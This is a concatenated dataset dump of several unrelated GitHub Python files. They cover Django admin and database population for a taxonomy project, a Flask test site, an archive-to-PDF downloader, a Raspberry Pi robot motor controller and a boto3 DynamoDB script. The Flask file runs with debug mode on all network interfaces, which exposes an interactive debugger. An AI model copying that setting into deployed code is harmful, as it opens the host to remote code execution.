NameFinderJSON\n#from .models import NameFinderResultAdmin\n\nfrom django.contrib.admin import AdminSite\nfrom django.http import HttpResponse\nimport logging\n\n'''\nThe following code extends the admin change form for Publication\n(/publications/publication).\n\nIt adds a new action, \"find_names\".\n\nReference: https://docs.djangoproject.com/en/1.10/ref/contrib/admin/actions/\n'''\nfrom publications.admin import PublicationAdmin\nfrom publications.models import Publication\nfrom publications.models import CustomFile\nimport requests\nimport json\nimport time\nfrom django.core.files.base import ContentFile\nimport json\nfrom taxonomy.functions import json_to_db\nfrom taxonomy.functions import find_names\nfrom taxonomy.functions import json_to_name_finder_results\n\n#Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\nclass CustomPublicationAdmin(PublicationAdmin):\n actions = ['add_extracted_taxon_names_file']\n\n def add_extracted_taxon_names_file(self, request, queryset):\n for pub in queryset:\n print('title: {} url: {}'.format(pub.title, pub.url))\n file_list = CustomFile.objects.filter(\n publication_id=pub.id).filter(\n description='extracted taxon names')\n if not file_list:\n taxa = find_names(pub.url)\n json_string = json.dumps(taxa)\n django_file = ContentFile(json_string)\n newfile = CustomFile()\n newfile.publication_id = pub.id\n newfile.description = 'extracted taxon names'\n newfile.file.save('extracted_taxon_names.json', django_file, save=True)\n print('new file attached.')\n print('adding data to NameFinderResults model ...')\n json_to_name_finder_results(pub, taxa)\n json_to_db(pub, taxa)\n print('FINIS')\n else:\n print('A file with description \"extracted_taxon_names\" already exists')\n\n add_extracted_taxon_names_file.short_description = \"Extract scientific names from selected publications\"\n\nadmin.site.unregister(Publication)\nadmin.site.register(Publication, CustomPublicationAdmin)\n'''\nEnd of code section.\n'''\n\n# Add mark_as_verified action to NameFinderResultAdmin change page\n\ndef mark_as_verified(self, request, queryset):\n queryset.update(verified=True)\nmark_as_verified.short_description = 'Mark selected results as verified'\n\n# http://www.gbif.org/species/1406619\n\n\nclass NameFinderResultAdmin(admin.ModelAdmin):\n list_filter = ('pub', 'verified',)\n list_display = ('verified', 'classification_path', 'GBIF')\n list_display_links = ('classification_path',)\n readonly_fields = (\n 'GBIF',\n 'pub',\n 'is_known_name',\n 'supplied_name_string',\n 'classification_path_ranks',\n 'classification_path',\n 'current_name_string',\n 'imported_at',\n 'canonical_form',\n 'data_source_id',\n 'match_value',\n 'data_source_title',\n 'gni_uuid',\n 'edit_distance',\n 'match_type',\n 'name_string',\n 'current_taxon_id',\n 'taxon_id',\n 'prescore',\n 'classification_path_ids',\n 'score',)\n actions = [mark_as_verified]\n\n def GBIF(self, obj):\n return '{}'.format(obj.taxon_id, obj.taxon_id)\n GBIF.allow_tags = True\n\n\n\nadmin.site.register(NameFinderResult, NameFinderResultAdmin)\n\n\n\nadmin.site.register(Taxon, MPTTModelAdmin)\nadmin.site.register(Upload_dwca)\nadmin.site.register(DwcaTaxon)\nadmin.site.register(DwcaDistribution)\nadmin.site.register(DwcaResourceRelationship)\nadmin.site.register(DwcaVernacular)\nadmin.site.register(RawName, RawNameAdmin)\nadmin.site.register(NameFinderJSON)\n\n\n\n\n# Ref for subclassing AdminSite:\n# http://stackoverflow.com/questions/35875454/django-admin-extending-admin-with-custom-views\nclass MyAdminSite(AdminSite):\n\n def custom_view(self, request):\n return HttpResponse(\"Test\")\n\n def get_urls(self):\n from django.conf.urls import url\n urls = super(MyAdminSite, self).get_urls()\n urls += [\n url(r'^custom_view/$', self.admin_view(self.custom_view))\n ]\n return urls\n\nadmin_site = MyAdminSite()\n\n\n# @admin.register(DwcaTaxon, site=admin_site)\n# class SomeModelAdmin(admin.ModelAdmin):\n# pass\n","repo_name":"aubreymoore/GuamInvasiveSpeciesList","sub_path":"taxonomy/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"70151990015","text":"from flask import Flask\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef primario():\n return \"\"\"Site teste de Gabriel Bugmann
\n 301 - Info\n Link\"\"\"\n\n@app.route(\"/lista_pessoas\")\ndef lista_pessoas():\n lista = [\"João da Silva\",\"Maria Oliveira\"]\n for i in lista:\n return f'

{i}

'\n\napp.run(debug=True, host=\"0.0.0.0\")","repo_name":"Bugmenn/prog","sub_path":"server_web.py","file_name":"server_web.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"43699046855","text":"#!/usr/bin/python3\n\n# The purpose of this software is to create PDF-file from\n# Finnish national archive scanned document available as JPG-files\n# Software needs as an input required document or file with list of documents\n# and optional maximum size for single PDF-file\n\nfrom urllib.request import Request, urlopen\nfrom urllib.error import URLError\nimport re\nimport os\nimport sys\nimport argparse\nfrom PIL import Image as PILImage\nfrom PIL import ImageDraw, ImageFont\nimport numpy as np\nfrom reportlab.pdfgen import canvas\nfrom reportlab.lib.pagesizes import A4\nfrom reportlab.platypus.flowables import Image as RepImage\nimport textwrap\n\n# function to get list of pages or exit if the required document doesn't exist\n# NEEDS TO BE FIXED TO SUPPORT MULTIPLE DOCUMENT DOWNLOAD\n\ndef getPageList(IndexText):\n PageList = re.findall('view.ka\\?kuid=(\\d*)',IndexText)\n if not len(PageList):\n print('Ei löytynyt sivuja, tarkista arkistoyksikkönumero')\n sys.exit(1)\n return PageList \n\n# function to create an error page if a page from archives fails to download\n# page has required text to inform reader\n\ndef makeErrorPage(text, pagenumber):\n errorpage=PILImage.new('RGB',(595,842),(255,255,255))\n drawing=ImageDraw.Draw(errorpage)\n drawing.text((10,10),text,(0,0,0))\n errorpage=errorpage.resize((5950,8420))\n errorpage.save('%s.jpg'%pagenumber)\n return \n\n# function to download pages as jpg-files from narc-service and call error page\n# creation function for failed pages\n# NEEDS OUTPUT FOR SUCCESS/FAILURE\n\ndef downloadPages(ListOfPages):\n for page in ListOfPages:\n try:\n image=urlopen('http://digi.narc.fi/digi/fetch_hqjpg.ka?kuid=%s' % page)\n \n except URLError as e:\n if hasattr(e, 'reason'):\n reason='Palvelimeen ei saatu yhteyttä.\\nIlmoitettu syy: '+e.reason\n elif hasattr(e, 'code'):\n reason='Palvelin ei voinut täyttää hakua.\\nVirhekoodi: '+e.code\n makeErrorPage(reason,page)\n else:\n image=urlopen('http://digi.narc.fi/digi/fetch_hqjpg.ka?kuid=%s' % page)\n typeinfo=image.info().get_content_type()\n if typeinfo=='image/jpeg':\n file=open('%s.jpg' % page,'wb')\n file.write(image.read())\n file.close()\n else:\n makeErrorPage(image.read(),page)\n\n return\n\n# function to create name for PDF-file from the title of the narc document\n\ndef createFilename(title,part):\n Filename=re.subn('(\\\\|\\/|:|\\*|\\\"|\\||;|,|/)',\"\",title)\n Filename=re.subn('(\\.|\\s)','_',Filename[0])\n fname=Filename[0]\n fname+='_osa_'+str(part)+'.pdf'\n return fname\n\n# function to calculate scaling to a4\n\ndef calcScale(imagesize,a4size):\n SizeOfX=imagesize[0]/a4size[0]\n SizeOfY=imagesize[1]/a4size[1]\n for X in np.arange(0,11,0.25):\n difference = abs(SizeOfX-X)\n if difference<0.25:\n break\n\n for Y in np.arange(0,11,0.25):\n difference = abs(SizeOfY-Y)\n if difference<0.25:\n break\n return (X,Y)\n\n# function to delete downloaded jpg-files\n\ndef cleanUp(ListOfPages):\n for page in ListOfPages:\n os.remove('%s.jpg'%page)\n return\n \n# function to create the pdf-file by\n# 1) getting list of document pages from narc\n# 2) find title from the narc\n# 3) download pages\n# 4) create pdf\n# 5) save downloaded jpg to pdf\n# 5b) close and create new pdf if size limit is exceeded\n# 6) clean downloaded jpg-files\n\ndef doPDFFile(IndexText,MaxSize):\n ListOfPages=getPageList(IndexText)\n TitleMatch = re.search(r\"dosearch\\.ka\\?sartun=\\d*\\.\\w*\\\">(.*?)<\\/b>\",IndexText)\n Title=TitleMatch.group(1)\n downloadPages(ListOfPages)\n Canvas = canvas.Canvas(createFilename(Title,1))\n Canvas.setTitle(Title)\n First = True\n counter=1\n for page in ListOfPages:\n filename='%s.jpg'%page\n if First:\n size=os.stat(filename).st_size\n else:\n size+=os.stat(filename).st_size\n\n if MaxSize and not First and size>(MaxSize*1024*1024):\n Canvas.save()\n counter+=1\n Canvas=canvas.Canvas(createFilename(Title,counter))\n size=os.stat(filename).st_size\n \n SavedImage = PILImage.open(filename)\n if First:\n SizeOfA4=SavedImage.size\n First=False\n\n #scale pages so that first image is A4-sized \n scale=calcScale(SavedImage.size,SizeOfA4)\n Canvas.setPageSize((A4[0]*scale[0],A4[1]*scale[1]))\n Canvas.drawImage(filename,0,0,A4[0]*scale[0],A4[1]*scale[1],preserveAspectRatio=True)\n Canvas.showPage()\n SavedImage.close()\n\n cleanUp(ListOfPages)\n\n Canvas.save()\n\n return 0\n\n# Check validity of input (either pure number or link to narc page\n\ndef checkInputString(inputstring):\n if re.fullmatch('\\d*',inputstring):\n output='http://digi.narc.fi/digi/slistaus.ka?ay='+inputstring\n elif re.fullmatch('http://digi\\.narc\\.fi/digi/slistaus\\.ka\\?ay=\\d*',inputstring):\n output=inputstring\n else:\n return\n return output\n\n# Get list of documents from input file\n# single number or fullurl = directly single url\n# rangeset = generate range with the numpy.arange from [start,end(not included),step]\n# rangeset2 = generate range with the numpy.arange from start-end(included), with 1 as a step\n\ndef getList(urlfile):\n lines = [line.strip() for line in open(urlfile)]\n urls = []\n for line in lines:\n singlenumber=re.fullmatch('\\d*',line)\n fullurl=re.fullmatch('http://digi\\.narc\\.fi/digi/slistaus\\.ka\\?ay=\\d*',line)\n rangeset=re.fullmatch('\\[(\\d*),(\\d*),(\\d)\\]',line)\n rangeset2=re.fullmatch('(\\d*)-(\\d*)',line)\n if singlenumber:\n urls.append(line)\n elif fullurl:\n urls.append(line)\n elif rangeset:\n for value in np.arange(int(rangeset.group(1)),int(rangeset.group(2)),int(rangeset.group(3))):\n urls.append(str(value))\n elif rangeset2:\n for value in np.arange(int(rangeset2.group(1)),int(rangeset2.group(2))+1,1):\n urls.append(str(value))\n \n return urls\n \n# Main function\n# if single document requested run it directly\n# if multiple create list from input file and run them consecutively\n# MAKE EXIT ONLY AFTER ALL FILES HAVE BEEN RUN\n\ndef main(url,size,file):\n ExitValue=0\n if not (file):\n ExitValue=run(url,size)\n \n else:\n ListOfUrls=getList(url)\n for url_value in ListOfUrls:\n ExitValue=run(url_value,size)\n if(ExitValue):\n sys.exit(ExitValue) \n\n sys.exit(ExitValue)\n\n# Run single document unit to download it by\n# 1) check validity of the input url\n# 2) request the document from narc\n# 3) send narc html-page to pdf-creating subprogram\n# return values different from 0 indicate error\n\ndef run(url,size): \n SourceUrl=url\n Url=checkInputString(SourceUrl)\n MaxSize=size #maximum size for pdf (may be exceeded a bit because of pdf format)\n if(Url):\n Req=Request(Url)\n try:\n Response=urlopen(Req)\n except URLError as e:\n if hasattr(e, 'reason'):\n print('Palvelimeen ei saatu yhteyttä.')\n print('Ilmoitettu syy: ',e.reason)\n sys.exit(1)\n elif hasattr(e, 'code'):\n print('Palvelin ei voinut täyttää hakua.')\n print('Virhekoodi: ',e.code)\n sys.exit(1)\n else:\n IndexText=Response.read().decode('latin-1')\n doPDFFile(IndexText,MaxSize)\n return 0\n \n else:\n print(\"Väärä osoite, osoitteen tulee olla joko http://digi.narc.fi/digi/slistaus.ka?ay=X -muotoa tai pelkkä X,\"+\n \" joka on halutun arkistoyksikön numero digi narcissa.\")\n return 2\n\n sys.stderr.write(\"Tuntematon virhe \\n\")\n return 1\n\n\n# argument parser\n# CREATE BETTER HELP AND FILE PARSING INPUT\n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description='Lataa digi.narc.fi palvelusta arkistoyksiköitä pdf-muodossa.',\n epilog=textwrap.dedent('''\\\n numerolistan muoto\n rivillä joko\n yksittäinen arkistointiyksikkö numero tai url\n tai listan generointi seuraavilla tavoin\n [aloitusnumero,lopetusnumero,askel] \n tämä generoi listan numeroita aloituksesta lopetukseen (ei mukana)\n \t\t\t aloitusnumero-lopetusnumero \n tämä generoi listan numeroita aloituksesta lopetukseen (mukana) 1 välein\n '''))\n parser.add_argument('url', metavar='URL', help='arkistointiyksikön numero tai url muodossa http://digi.narc.fi/digi/slistaus.ka?ay=numero')\n parser.add_argument('-m','--maxsize',default=0,type=int, help='Maksimikoko pdf-tieodostolle, oletus 0 = ei rajoitusta')\n parser.add_argument('-f','--file',action='store_true', help='Lataa useampi yksikkö kerralla, numerolista tiedostossa ja tiedoston nimi URL:n sijaan')\n args=parser.parse_args()\n main(args.url,args.maxsize,args.file)\n\n \n","repo_name":"teakfi/kansallisarkisto_downloader","sub_path":"narchaku.py","file_name":"narchaku.py","file_ext":"py","file_size_in_byte":9296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"37566672515","text":"# Poly - Many\n# morphism - Form\n# ============================\n# Duck Typing\n# Operator overloading\n# Method overloading\n# Method Overriding\n# ============================\n\"\"\"\nDuck Typing\n\"\"\"\n# x = 5\n# print(type(x), id(x))\n# x = 'Gopi'\n# print(type(x), id(x))\nclass PyCharm:\n def execute(self):\n print('Compiling', \"\\nRunning\")\n\n\nclass MyEditor:\n def execute(self):\n print('Spell check')\n print('Convention check')\n print('Compiling', \"\\nRunning\")\n\n\nclass Laptop:\n def code(self, ide):\n ide.execute()\n\n\nide = PyCharm()\nide1 = MyEditor()\n\nlap1 = Laptop()\nlap1.code(ide)\nlap1.code(ide1)\n","repo_name":"Gopi25071993/TeluskoAllFiles","sub_path":"Polymorphism.py","file_name":"Polymorphism.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"12469481095","text":"import os\nimport sys\nimport pandas\nimport random\nimport pytz\nimport pandas as pd\nimport uuid\nimport django\nimport uuid\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))))\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'settings.config.local')\ndjango.setup()\n\nfrom swift_parsing_app.models import SourceFile, MessageType, SwiftMessage, SwiftField, SwiftFieldValueDetail, \\\n SwiftFieldValue\n\n# Columns: MT;Status;Tag;Field_Name;Content_Options;KeyMTTag\nswift_fields_df = pandas.read_csv('../../mock/SM.csv', sep=';')\nswift_messages_df = pandas.read_pickle('../../mock/output_dataframe.pkl')\n\n\ndef populate_swift_msg_types():\n list_of_msg_types = swift_fields_df['MT'].unique()\n list_of_msg_types = sorted(list_of_msg_types)\n\n for msg_type in list_of_msg_types:\n new_object = MessageType.objects.get_or_create(type_name=msg_type)\n print('Message Types were created')\n\n\ndef populate_swift_fields():\n for row_index, row in swift_fields_df.iterrows():\n mandatory = 1 if row['Status'] == 'M' else 2\n msg_type = MessageType.objects.filter(type_name=row['MT']).first()\n swift_field = SwiftField.objects.get_or_create(key_mt_tag=row['KeyMTTag'], field_name=row['Tag'],\n field_tag=row['Field_Name'], status=mandatory,\n content_options=row['Content_Options'],\n message_type=msg_type)\n\n print('Swift Fields were created')\n\n\ndef populate_source_file():\n source_file = SourceFile.objects.get_or_create(file_name='test_file_001.csv', status=2)\n print('Source Files were created')\n pass\n\n\ndef populate_swift_message():\n list_of_msgs = swift_messages_df['transaction_id'].unique()\n list_of_msgs = sorted(list_of_msgs)\n\n source_file = SourceFile.objects.first()\n\n for transaction_id in list_of_msgs:\n direction = swift_messages_df[\n (swift_messages_df['transaction_id'] == transaction_id) & (swift_messages_df['field_name'] == 'Direction')][\n 'field_value'].item()\n direction_value = 1 if direction == 'I' else 2\n\n application_header = swift_messages_df[\n (swift_messages_df['transaction_id'] == transaction_id) & (swift_messages_df['field_name'] == '2')][\n 'field_value'].item()\n\n msg_type = swift_messages_df[\n (swift_messages_df['transaction_id'] == transaction_id) & (swift_messages_df['field_name'] == 'MT')][\n 'field_value'].item()\n msg_type_object = MessageType.objects.filter(type_name=msg_type).first()\n # transaction_id = transaction_id.replace('-','')\n new_object = SwiftMessage.objects.get_or_create(transaction_id=transaction_id, source_file=source_file,\n direction=direction_value, message_type=msg_type_object,\n application_header=application_header)\n\n print('Swift Messages were created')\n pass\n\n\ndef populate_swift_field_values():\n list_of_msgs = swift_messages_df['transaction_id'].unique()\n list_of_msgs = sorted(list_of_msgs)\n\n for transaction_id in list_of_msgs:\n transaction_object = SwiftMessage.objects.get(transaction_id=transaction_id)\n\n list_of_fields = swift_messages_df[swift_messages_df['transaction_id'] == transaction_id]\n\n for index, row in list_of_fields.iterrows():\n\n swift_fields_not_in_dictionary = ['Direction', 'MT', 'Rest of 2', '2', '3']\n swift_field_name = row['field_name']\n if swift_field_name not in swift_fields_not_in_dictionary:\n related_swift_field = SwiftField.objects.get(field_name=swift_field_name,\n message_type=transaction_object.message_type)\n swift_field_value = row['field_value']\n new_object = SwiftFieldValue.objects.get_or_create(swift_message=transaction_object,\n swift_field=related_swift_field,\n field_value=swift_field_value)\n\n print('Swift Fields Values were created')\n pass\n\n\ndef format_db():\n # SourceFile, MessageType, SwiftMessage, SwiftField, SwiftFieldValueDetail\n SwiftFieldValueDetail.objects.all().delete()\n SwiftFieldValue.objects.all().delete()\n SwiftMessage.objects.all().delete()\n SourceFile.objects.all().delete()\n SwiftField.objects.all().delete()\n\n\nif __name__ == '__main__':\n print(\"Formating the Database\")\n format_db()\n\n populate_swift_msg_types()\n populate_swift_fields()\n populate_source_file()\n populate_swift_message()\n populate_swift_field_values()\n\n print('Populating Complete')\n","repo_name":"NightingaleV/sweeper-swift-parsing-web-app","sub_path":"swift_parsing_app/models/populate_db.py","file_name":"populate_db.py","file_ext":"py","file_size_in_byte":4923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"14478367642","text":"import RPi.GPIO as GPIO\nimport usb.core\nimport usb.util\nimport os \nimport sys\nfrom time import gmtime, strftime\nimport time\nimport copy\nimport serial\n#control_motorディレクトリへのパを追加\nsys.path.append(os.path.join(os.path.dirname(__file__), '../control_motor'))\nimport blv_lib\nimport az_lib_direct\n\n#GPIO_init###########################################\npin_list = [12,16,18] #move,rclu,arm\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(pin_list[0],GPIO.OUT)\nGPIO.setup(pin_list[1],GPIO.OUT)\nGPIO.setup(pin_list[2],GPIO.OUT)\n#####################################################\n\n#定数################################################\nDED_ZONE = 150\nZ_DED_ZONE = 250\nDIFF_SIZE = 1\nZ_DIFF_SIZE = 10\n#####################################################\n\n\n#状態変数############################################\nMode = 0 #0:クローラ, 1:リモートセンタ機構&リフトアップ, 2:ロボットアーム\nRC_mode = 1 #0:階段降り, 1:真ん中, 2:椅子座り, 3:階段上り\nLU_mode = 1 #0:収納, 1:テンション維持モード 2:リフトアップ\n#####################################################\n\n#LED#################################################\ndef LED_setting(pin_data_list):\n global pin_list\n for i in range(len(pin_list)):\n GPIO.output(pin_list[i],pin_data_list[i])\n#####################################################\n\n#サーフティーの状態\nSafety = 0\n\nwhile True:\n #セーフティの読み込み\n Safety = 1 #ここで確定1だが実際はボタンの値を読み込む\n if Safety == 0:\n continue\n\n #コントローラ変数(セーフティ解除時に初期化される)#######\n Z_push = 0 #Z軸方向の変位\n old_Z_push = 0 #前回のZ軸方向の変位\n R_list = [0,0,0] #軸に対する回転の変位\n old_R_list = 0 #前回の軸に対する回転の変位\n Button_number = 0 #左右のボタンの値\n ########################################################\n\n #RC変数#################################################\n RC_flag = 1 #クリックの判定(1の時は次への移動をしない)\n ########################################################\n #LED_setting############################################\n LED_setting([1,0,0]) \n ########################################################\n\n dev = usb.core.find(idVendor=0x46d, idProduct=0xc626)\n if dev is None:\n raise ValueError('SpaceNavigator not found');\n else:\n print(dev)\n cfg = dev.get_active_configuration()\n print('cfg is ', cfg)\n intf = cfg[(0,0)]\n print('intf is ', intf)\n ep = usb.util.find_descriptor(intf, custom_match = lambda e: usb.util.endpoint_direction(e.bEndpointAddress) == usb.util.ENDPOINT_IN)\n print('ep is ', ep)\n reattach = False\n if dev.is_kernel_driver_active(0):\n reattach = True\n dev.detach_kernel_driver(0)\n\n ep_in = dev[0][(0,0)][0]\n ep_out = dev[0][(0,0)][1]\n print('')\n print('Exit by pressing any button on the SpaceNavigator')\n print('')\n\n\n #自分の端末ごとに適切に設定する\n client = serial.Serial(\"/dev/ttyXRUSB0\",115200,timeout=0.1,parity=serial.PARITY_EVEN,stopbits=serial.STOPBITS_ONE)\n #モータのインスタンス化##############################\n motor1 = blv_lib.blv_motor(client,1) #右クローラ\n motor2 = blv_lib.blv_motor(client,2) #左のクローラ\n motor3 = az_lib_direct.az_motor_direct(client,3) #リフトアップ右\n motor4 = az_lib_direct.az_motor_direct(client,4) #リフトアップ左\n motor5 = az_lib_direct.az_motor_direct(client,5,[0,58436,90000,116750]) #リモートセンタ\n #####################################################\n\n #初期移動ステッピングモータ関連######################\n #リモートセンターの移動\n motor5.go_list(RC_mode)\n #リフトアップの移動\n if LU_mode == 0:\n motor3.go(0)\n motor4.go(0)\n elif LU_mode == 1:\n motor3.go_torque(300)#15%\n motor4.go_torque(300)#15%\n elif LU_mode == 2:\n motor3.go(13200)#位置移動\n motor4.go(13200)#位置移動\n #####################################################\n\n #初期設定ブラシレスモータ関連########################\n motor1.set_acc_dec_time(2)\n motor2.set_acc_dec_time(2)\n #####################################################\n\n\n\n while True:\n try:\n data = dev.read(ep_in.bEndpointAddress, ep_in.bLength, 0)\n\n #Z軸のプッシュ判定#############################################################\n if data[0] == 1:\n old_Z_push = copy.deepcopy(Z_push)\n Z_push = data[5] + (data[6]*256)\n\n if data[6] > 127:\n Z_push -= 65536\n\n #デッドゾーンの処理\n if Z_push <= Z_DED_ZONE and Z_push >= -Z_DED_ZONE:\n Z_push = 0\n\n #感度の処理\n diff = abs(Z_push - old_Z_push)\n if diff > Z_DIFF_SIZE and sum(R_list) == 0:\n print(\"Push: \",Z_push)\n\n #Mode:0 クローラモード\n if Mode == 0:\n pass\n #Mode:1 リモート&リフトアップ \n elif Mode == 1:\n if Z_push > 300:\n LU_mode = 2\n motor5.go_list(3)\n time.sleep(5)\n motor3.go(point=13200,speed=200,rate=1)\n motor4.go(point=13200,speed=200,rate=1)\n motor5.go_list(RC_mode)\n \n elif Z_push < -250:\n LU_mode = 0\n motor3.go(point=0)\n motor4.go(point=0)\n\n #Mode2 : アームモード\n elif Mode == 2:\n pass\n ##############################################################################\n\n #Rの移動判定##################################################################\n if data[0] == 2:\n old_R_list = copy.deepcopy(R_list)\n R_list[0] = data[1] + (data[2]*256)\n R_list[1] = data[3] + (data[4]*256)\n R_list[2] = data[5] + (data[6]*256)\n\n if data[2] > 127:\n R_list[0] -= 65536\n if data[4] > 127:\n R_list[1] -= 65536\n if data[6] > 127:\n R_list[2] -= 65536\n\n #デッドゾーンの処理\n for i in range(3):\n if R_list[i] <= DED_ZONE and R_list[i] >= -DED_ZONE :\n R_list[i] = 0\n\n #感度の処理\n diff = abs(sum(R_list) - sum(old_R_list))\n if diff > DIFF_SIZE and abs(Z_push) < Z_DED_ZONE:\n print(\"R: \", R_list[0], R_list[1], R_list[2])\n\n #Mode:0 クローラモード\n if Mode == 0:\n if R_list[0] == 0 and R_list[1] == 0 and R_list[2]==0: #停止\n #motor1.set_speed(0)\n #motor2.set_speed(0)\n motor1.go(1,1)\n motor2.go(1,1)\n elif R_list[0] > 0: #前進移動\n if R_list[1] >= 0:#左をはやく\n motor1.set_speed(int(abs(80*R_list[0]*0.01)))\n motor2.set_speed(int(abs(80*R_list[0]*0.01)) + int(R_list[2]*0.04))\n elif R_list[0] < 0:#右をはやく\n motor1.set_speed(int(abs(80*R_list[0]*0.01)) + int(R_list[2]*0.04))\n motor2.set_speed(int(abs(80*R_list[0]*0.01)))\n #motor1.go(1,0)\n #motor2.go(0,1)\n motor1.go(0,1)\n motor2.go(1,0)\n elif R_list[0] < 0: #後進移動\n if R_list[1] >= 0:#左をはやく\n motor1.set_speed(int(abs(80*R_list[0]*0.01)))\n motor2.set_speed(int(abs(80*R_list[0]*0.01)) + int(abs(R_list[2]*0.04)))\n elif R_list[1] < 0:#右をはやく\n motor1.set_speed(int(abs(80*R_list[0]*0.01)))\n motor2.set_speed(int(abs(80*R_list[0]*0.01)) + int(abs(R_list[2]*0.04)))\n #motor1.go(0,1)\n #motor2.go(1,0)\n motor1.go(1,0)\n motor2.go(0,1)\n elif R_list[2] > 0: #右は前,左は後ろ\n motor1.set_speed(int(abs(80*R_list[2]*0.01)))\n motor2.set_speed(int(abs(80*R_list[2]*0.01)))\n motor1.go(1,0)\n motor2.go(1,0)\n \n elif R_list[2] < 0: #左は前,右は後ろ\n motor1.set_speed(int(abs(80*R_list[2]*0.01)))\n motor2.set_speed(int(abs(80*R_list[2]*0.01)))\n motor1.go(0,1)\n motor2.go(0,1)\n\n #Mode:1 リモート&リフトアップ\n elif Mode == 1:\n #リモートセンターの判定##########################################\n if R_list[0] == 0 and RC_flag==1:\n RC_flag = 0\n elif R_list[0] > 300 and RC_flag==0:#前への移動\n if RC_mode == 3:\n pass\n else:#移動処理\n RC_mode+=1\n motor5.go_list(RC_mode)\n RC_flag = 1\n elif R_list[0] < -170 and RC_flag==0:#後ろへの移動\n if RC_mode == 0:\n pass\n else:#移動処理\n RC_mode -=1\n motor5.go_list(RC_mode)\n RC_flag = 1\n ##################################################################\n\n #リフトアップの判定###############################################\n if abs(R_list[2]) > 340:\n LU_mode = 1\n #motor3.go_torque(150)\n #motor4.go_torque(150)\n motor3.set_position_deviation(30000)\n motor4.set_position_deviation(30000)\n motor3.go_torque_pos(point=9000,op_current=150)\n motor4.go_torque_pos(point=9000,op_current=150)\n ##################################################################\n\n #Mode:2 アームモード\n elif Mode == 1:\n pass\n ##############################################################################\n\n #ボタンの判定(左が2,右が1)####################################################\n if data[0] == 3:\n if data[1]== 0:\n print(\"push button : \", Button_number)\n if Button_number == 1:\n if Mode == 2:\n Mode = 0\n else:\n Mode += 1\n if Mode == 1:\n RC_flag = 0\n elif Button_number == 2:\n if Mode == 0:\n Mode = 2\n else:\n Mode -= 1\n if Mode == 1:\n RC_flag = 0\n print(\"Now Mode:\",Mode)\n if Mode == 0:\n LED_setting([1,0,0])\n elif Mode == 1:\n LED_setting([0,1,0])\n elif Mode == 2:\n LED_setting([0,0,1])\n\n Button_number = 0\n\n else:\n Button_number = data[1]\n ##############################################################################\n\n except KeyboardInterrupt:\n print(\"end\")\n Safety = 0\n break\n\n except usb.core.USBError:\n print(\"USB error\")\n Safety = 0\n break\n except:\n print(\"Error\")\n Safety = 0\n break\n\n\n # end while\n usb.util.dispose_resources(dev)\n\n if reattach:\n dev.attach_kernel_driver(0)\n","repo_name":"KobayashiRui/CYBATHLON","sub_path":"complete_version/Controler_bac_no_arm.py","file_name":"Controler_bac_no_arm.py","file_ext":"py","file_size_in_byte":13104,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"6534291830","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 9 18:17:04 2018\r\n\r\n@author: User\r\n\"\"\"\r\n\r\nimport boto3\r\nimport pprint\r\nimport pandas as pd\r\nimport time\r\n\r\n# with open('./config/config.json', 'r') as file:\r\n# config = json.loads(file.read())\r\n\r\ndynamodb = boto3.resource(\r\n 'dynamodb',\r\n region_name='ap-northeast-2',\r\n # aws_access_key_id=config['ID'],\r\n # aws_secret_access_key=config['KEY']\r\n)\r\n\r\n\r\n# 1. Table 제거\r\nif __name__ == '__main__':\r\n table = dynamodb.Table('relatedTags')\r\n response = table.delete()\r\n printer = pprint.PrettyPrinter(indent=2)\r\n printer.pprint(response)\r\n\r\n\r\n# 2. DynamoDB 내 Table 생성하기\r\n# 키 정리할 때, 기준 키만 설정하면 된다. 핵 좋아!\r\nif __name__ == '__main__':\r\n table = dynamodb.create_table(\r\n TableName='relatedTags',\r\n KeySchema=[\r\n {\r\n 'AttributeName': 'idx',\r\n 'KeyType': 'HASH'\r\n }\r\n ],\r\n AttributeDefinitions=[\r\n {\r\n 'AttributeName': 'idx',\r\n 'AttributeType': 'N'\r\n }\r\n ],\r\n ProvisionedThroughput={\r\n 'ReadCapacityUnits': 50,\r\n 'WriteCapacityUnits': 50\r\n }\r\n )\r\n\r\n# 3. DynamoDB 내 생성된 특정 Table 정보 확인 및 아이템 가져오기\r\nif __name__ == '__main__':\r\n table = dynamodb.Table('relatedTags')\r\n print(1, table.creation_date_time)\r\n\r\n response = table.get_item(\r\n Key={\r\n 'idx': 1\r\n }\r\n )\r\n item = response['Item']\r\n print(2, item)\r\n\r\n# 4. 아이템 업데이트 하기\r\nif __name__ == '__main__':\r\n table = dynamodb.Table('relatedTags')\r\n table.update_item(\r\n Key={\r\n 'idx': 2\r\n },\r\n UpdateExpression='SET createdTime = :val1',\r\n ExpressionAttributeValues={\r\n ':val1': \"2018-08-08T05:07:13.515Z\"\r\n }\r\n )\r\n\r\n# 5. 아이템 삭제하기\r\nif __name__ == '__main__':\r\n table = dynamodb.Table('relatedTags')\r\n table.delete_item(\r\n Key={\r\n 'idx': 1\r\n }\r\n )\r\n\r\n# 6. 항목 생성하기\r\nif __name__ == '__main__':\r\n table = dynamodb.Table('relatedTags')\r\n table.put_item(\r\n Item={\r\n 'idx': 1,\r\n 'cretedTime': \"2018-08-09T05:07:13.515Z\",\r\n 'relatedTag': {\r\n \"1\": [\r\n 177,\r\n 60,\r\n 1231,\r\n 1298423,\r\n 8831092,\r\n 20931\r\n ],\r\n \"2\": [\r\n 54,\r\n 782,\r\n 229,\r\n 7821,\r\n 49632,\r\n 85214\r\n ],\r\n \"3\": 